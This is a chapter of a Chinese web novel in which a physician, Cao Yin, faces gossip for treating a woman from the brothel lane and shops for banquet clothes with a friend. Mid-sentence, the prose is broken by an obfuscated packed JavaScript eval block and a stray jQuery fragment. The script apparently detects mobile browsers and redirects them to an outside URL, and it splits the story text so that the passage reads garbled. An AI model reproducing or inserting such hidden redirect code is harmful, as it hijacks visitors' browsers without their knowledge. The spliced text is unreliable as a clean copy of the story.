送走了求诊的女子,蔡婆子进到诊疗区收拾,何四将木板收好放在墙边,曹茵则是去到药柜处收拾,没一会儿,门外传来马儿的嘶鸣声,曹茵抬头往外看去,就见何三披着蓑衣坐在车辕处,被雨打湿的竹帘掀起,露出了顾安沉稳的面容。
自从这趟从壌州城回来后,顾安露出笑容的时候越来越少。
曹茵问他为何,顾安却说并没有,是她多想了。她又多观察了几日,发现这男人以前老脸上挂笑是为了在上峰留下踏实肯干的一面,而板着脸是为了展示沉稳。
无论哪一种都是他的外在表现,好在内里还是那个顾安。
顾安下车进了医药馆,何三驾着马车去到东侧门外。何四穿上蓑衣小跑着由店铺后院直接去到东侧门内,帮着何四一起将马车赶到马厩。
俩人忙活的间隙,何三问何四:“那柏兰巷的女子,娘子给她看病了?”适才他被娘子打发了出去,不知道后面的情况如何。
何四点头。
“蠢妇!”何三哑着声音,怒道:“亏我之前还好心提醒,没想到她还是这般愚昧!”
何四奇怪地看了自家堂兄一眼,这堂兄怎么倒是关心起店里的生意来了,他前段时间可不是这般。
何三瞧了眼周围,细密的雨幕将散发着草料发酵气味的马厩与周遭都隔绝开来,而马厩里除了蠢笨克亲的堂弟也没别人,他面带得色道:“哼,我刚才将娘子给柏兰巷女子治病的事跟老爷说了,娘子就等着挨老爷训吧!”
何四低头弯腰将草料放到食槽里,给水槽换上干净的清水,对何三的话语没任何反应。这对何三来说,太正常了,何四就是个只会做“死”事的傻瓜蛋。
想着那人承诺的内容,何三好心情地站在一旁看何四干活,那姿态,就好像他是这医药馆的主子一般。
等他们回到前院时,何三偷偷打量老爷和娘子面上的神情,也不知道老爷训娘子了没。
直到天完全黑下,他和何四回了住的屋子,直到周遭传来何四均匀的呼吸声,他也不知道,听了会儿雨滴落在瓦片上的声音,他也沉沉睡去。
后院主屋
顾安光着上身趴在温热的炕上,曹茵坐在他后腰处,炕上的木质托盘上放着个酒葫芦,曹茵从里面倒出药油,在手掌上揉开,用力在顾安脊椎处按压起来。
顾安身上的旧伤并不少,平日里还好,一旦到了空气湿润的时候,骨头里酸疼的厉害。
“这药油也只能缓和,要想根治,还是得喝汤药泡药浴。”曹茵力气不小,但长时间的按压也费体力,没多会儿,她额上浮上了一层细密的汗珠。
“泡药浴?”顾安摇头,“那好麻烦,我现在又不求子,不弄那麻烦的事。”
曹茵:“谁说泡药浴就是为了求子,药浴里的药材才决定治疗什么病症。你这什么都不懂的样子,出去可别说是我曹娘子的郎君,省得别人笑话你。”
胳膊肘压在炕上,顾安头埋在其间,嘴角上翘却故意用平淡的语气道:“我不懂没关系,你懂就成,曹医娘。”别家娘子多为男子附属,而他家则是反着来,现在走在路上大家都喊他为‘曹医娘家的顾郎君’。
那感受就像是大热天里喝上一杯冰凉井水一般通体舒泰。
“你倒是省事。”曹茵拍拍他,示意他往下一些,适才她用力按压时,他身子也随着力道往上移动了。
顾安驮着曹茵小心地移了移,突发奇想道:“等我这趟去草原回来,咱家不会就开了分馆了吧?”
曹茵笑他不懂行情:“就黑水城这丁点大,还需要开分馆?能把这生意长久做下去就很不错了。”城里人口只有那么多,她当初开医药馆便是想着这家店既是医馆也是药铺,两项一起,总归会有生意。
“何出此言?”
“黑水城里真正愿意花钱来看病的女子其实很少,开业至今,主要赚的是都尉夫人给的打赏钱。”曹茵叹气道。
她是运气好,正巧得了都尉夫人的眼,但这种得眼并不稳妥。
顾安见她情绪有些低落,忙转移话题道:“今日小将军跟我说过几日春客部落的使者会在护卫队护送下来黑水城,都尉大人准备在家设宴,你需同我一起去参加。”
曹茵手上动作一顿,“宴席?可以不去吗?”
上一世她职位上去后,参加过大大小小不少宴会,早就对这种商业应酬没得兴趣,听到先本能的拒绝再说。
顾安:“护卫队过来会带上千户任命书,身为千户娘子,日后这种宴席每年都会有,避的了这一回也避不开下一回。”
“那好吧,”曹茵看了眼被她按揉得油光发亮的后背,将药油葫芦拧紧,“看来还得去买些参加宴席的衣裳,妆点打扮一番,”说到这个,她问:“你就不怕我去参加宴席落你的面子,毕竟我面上有瑕。”
顾安手掌撑在炕上,支起上半身,扭着脖子看向曹茵,认真道:“不会。若真有人看不起你,只会是因为你家郎君还不够强。”
瞧见过亲娘因爹失踪迫不及待改嫁求倚靠,也看到继母金翠花未出嫁前和出嫁后娘家对待她的不同待遇,顾安心里清楚,出嫁女的荣辱全在她所嫁男子的身份地位。
“顾千户倒是会揽责任,”曹茵盯了顾安许久,见他不似说假话,才笑着拍了拍他那因用力而肌肉喷张的胳膊。
不得不说,顾安的回答戳中了她的心。
曹茵摸了摸脸,心中有些小纠结,她也不可能顶着这胎记一辈子,毕竟哪有女人不爱俏的,何况现在顾安时常不在家,涂抹药物时能避开,日后呢?
顾安瞧出了曹茵眸中忧色,胳膊一伸将她搂入怀,低头在她右眼上温柔一亲,“只要是你,我都喜欢。”
这一亲,亲的曹茵心肝都发颤,把脸埋入顾安怀中,心下暗骂,这顾安自从去草原回来后跟那发春的大野猫似的,没事亲亲蹭蹭抱抱的,好羞涩呀~
不过她喜欢!
翌日,下了一日一夜的雨终于停了,是个大晴天。曹茵约荀三娘去正阳街上的成衣铺里挑选衣裳。
荀三娘挺着比别人稍大的孕肚,穿行在成衣铺子里,东看看西瞧瞧,不甚满意。她拉着曹茵走到一旁蹙眉小声道:“曹娘子,这成衣铺里的衣裙怕是难有参加宴席能穿的吧。”不怪她怀疑,正阳街的成衣铺离黑水客栈没多远,这么些年下来,进出店铺的人是不少,但她可没瞧见那些有身份的妇人来选购。
“可宴会时间这么近,我也没法专门定制衣裙。”曹茵无奈道,“先挑一件差不离的应付下,回头我问过徐嬷嬷后再定制更合适的。”
荀三娘见她心中有数便没再多言,热心地帮着一起挑选起来。
一想到曹娘子能参加都尉大人举办的宴会,她心情就莫名好起来,这代表顾百户深得都尉大人的赏识,哪怕黑水城每年战死的兵士不少,但这世道,平民百姓想要过好日子,谁又不是拼命往上爬呢。
顾百户混的好,曹娘子就好,曹娘子好,她们这些跟曹娘子交好的人不也能跟着好?想着自己家也成了有靠山的了,嘴角的笑意压
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113257|137042||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都压不下。
哎呀,真是欢喜的紧。
不过这份好心情在曹茵选好了衣裳去结账时那掌柜的冷着脸,用袖子遮住手,恨不得离得她们老远时,欢喜转变成了不满,叉腰挺着大肚子,蛮狠地瞪着掌柜。
一旁的伙计将收叠好的衣裳递给她们时,都是一幅小心翼翼地模样。
出了店铺,曹茵打算回医药馆,却被荀三娘拉到了客栈后院。
处于淡季的客栈的后院,连做工的人都少了不少,就在正阳街逛了这么一会儿,荀三娘的额上全是汗水,曹茵瞧了瞧她那明显比别人大一些的孕肚,拉住了她:“慢点,慢点走。”
荀三娘见旁边没得外人,喘着气小声问:“你昨日真给柏兰巷的女子看诊了?”
曹茵想过这消息瞒不住,却是没想到这么快就传出来了,她拧着眉问:“医药馆的人说的?”要真是这般,哪怕顾安想留着何三顺藤摸瓜,她也不想留下此人了。
荀三娘瞪大眼,对她的后知后觉不满道:“这还用得你们医药馆传出来?昨日生意不好,好多店子的伙计和掌柜的都瞧见了那个女子去了医药馆待了许久才出来。”
曹茵这才回答了荀三娘的问题:“嗯,看诊了,她来求医,又不是没带银钱,我看诊不很正常吗?”
“你不知道柏兰巷是妓|女巷?”想着曹娘子才来黑水城没几个月,不知道这些也正常,荀三娘觉得好像也理解了。
“知道,看诊前何三提了嘴,”进到屋里,曹茵扶着荀三娘坐下,“你最近胃口很不错?”肚子大的都有些不正常。
荀三娘下意识地点头,很快意识到刚才的话题还没结束,“别捣乱,你可知道今日成衣铺子那掌柜的为何那般对你,”见曹茵摇头,她继续道:“那是他怕你身上沾了柏兰巷的晦气。”
曹茵不可思议道:“开门做生意的,有钱的顾客不接待,难道还要往外推?”
“越是开门做生意,越要讲究这些,你可别不当一回事,”荀三娘将这条街上商铺对待柏兰巷的女子们的态度都说了,“其实,你要真想做这个生意,可以偷偷安排下人去跟那边接触,但面上,你得表现出跟她们没关系的样子。”毕竟那些女子也有吃喝拉撒,衣食住行的需求,真要不做那边的生意,也不可能。
原来并不是为了所谓的病毒感染,他们这般真是因为晦气。
可要真觉得晦气,那些女子又为何能活下来,又能拿出看诊的银钱呢!
没得需求何来买卖?所以脱裤子行,穿上裤子就不认账了?!
曹茵心中不屑,面上却没露出半分,好脾气解释:“她来医药馆看病,也没拖欠医药钱,我自是要给她医治。至于秽气,我家那位血腥味中,秽气也不敢上门来!”
“你心中有数就成。”荀三娘点头,心想着回头要将曹娘子这话给传出去,省得那些人胡思乱想。
这事,曹茵以为这事也就在街坊邻居间传一传,没想到午后,徐嬷嬷便坐车来了医药馆,坐在木板隔断开的诊疗区内,徐嬷嬷让身边的小丫鬟去到门外候着,打量一番布置后,才道:“曹娘子这医药馆的生意最近可还好?”
曹茵不明就以,却还是笑着答道:“谢嬷嬷关心,医药馆这边接待的贵客大多是看着夫人面子而来。”
“既如此,曹娘子为何还要接诊那柏兰巷的女子?”徐嬷嬷的脸瞬间耷拉下来,就好像曹茵做了什么十恶不赦的事一般。
曹茵一时不知如何回答,应对荀三娘的言语放在这里自然是行不通的。